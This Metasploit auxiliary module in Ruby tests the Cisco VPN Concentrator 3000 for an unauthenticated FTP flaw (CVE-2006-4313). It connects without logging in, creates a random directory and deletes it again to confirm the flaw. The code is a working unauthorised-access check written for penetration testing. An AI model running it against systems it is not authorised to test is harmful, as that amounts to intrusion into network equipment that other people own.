##
# $Id: vpn_3000_ftp_bypass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access',
			'Description'    => %q{
				This module tests for a logic vulnerability in the Cisco VPN Concentrator
				3000 series. It is possible to execute some FTP statements without authentication
				(CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs
				when working with CWD commands. This module simply creates an arbitrary directory,
				verifies that the directory has been created, then deletes it and verifies deletion
				to confirm the bug.
			},
			'Author'		=> [ 'patrick' ],
			'License'		=> MSF_LICENSE,
			'Version'		=> '$Revision: 9179 $',
			'References'	=>
				[
					[ 'BID', '19680' ],
					[ 'CVE', '2006-4313' ],
					[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20060823-vpn3k.shtml' ],
					[ 'OSVDB', '28139' ],
					[ 'OSVDB', '28138' ],
				],
			'DisclosureDate' => 'Aug 23 2006'))

		register_options(
			[
				Opt::RPORT(21),
			], self.class)
	end

	def run
		connect
		res = sock.get_once
		if (res =~ /220 Session will be terminated after/)
			print_status("Target appears to be a Cisco VPN Concentrator 3000 series.")

			test = Rex::Text.rand_text_alphanumeric(8)

			print_status("Attempting to create directory: MKD #{test}")
			sock.put("MKD #{test}\r\n")
			res = sock.get(-1,5)

			if (res =~/257 MKD command successful\./)
				print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
				sock.put("SIZE #{test}\r\n")
				res = sock.get(-1,5)
				if (res =~ /550 Not a regular file/)
					print_status("\tServer reports \"not a regular file\". Directory verified.")
					print_status("\tAttempting to delete directory: RMD #{test}")
					sock.put("RMD #{test}\r\n")
					res = sock.get(-1,5)
					if (res =~ /250 RMD command successful./)
						print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
						sock.put("SIZE #{test}\r\n")
						res = sock.get(-1,5)
						print_status("\tDirectory #{test} no longer exists!")
						print_status("Target is confirmed as vulnerable!")
					end
				end
			end
		else
			print_status("Target is either not Cisco or the target has been patched.")
		end
		disconnect
	end
end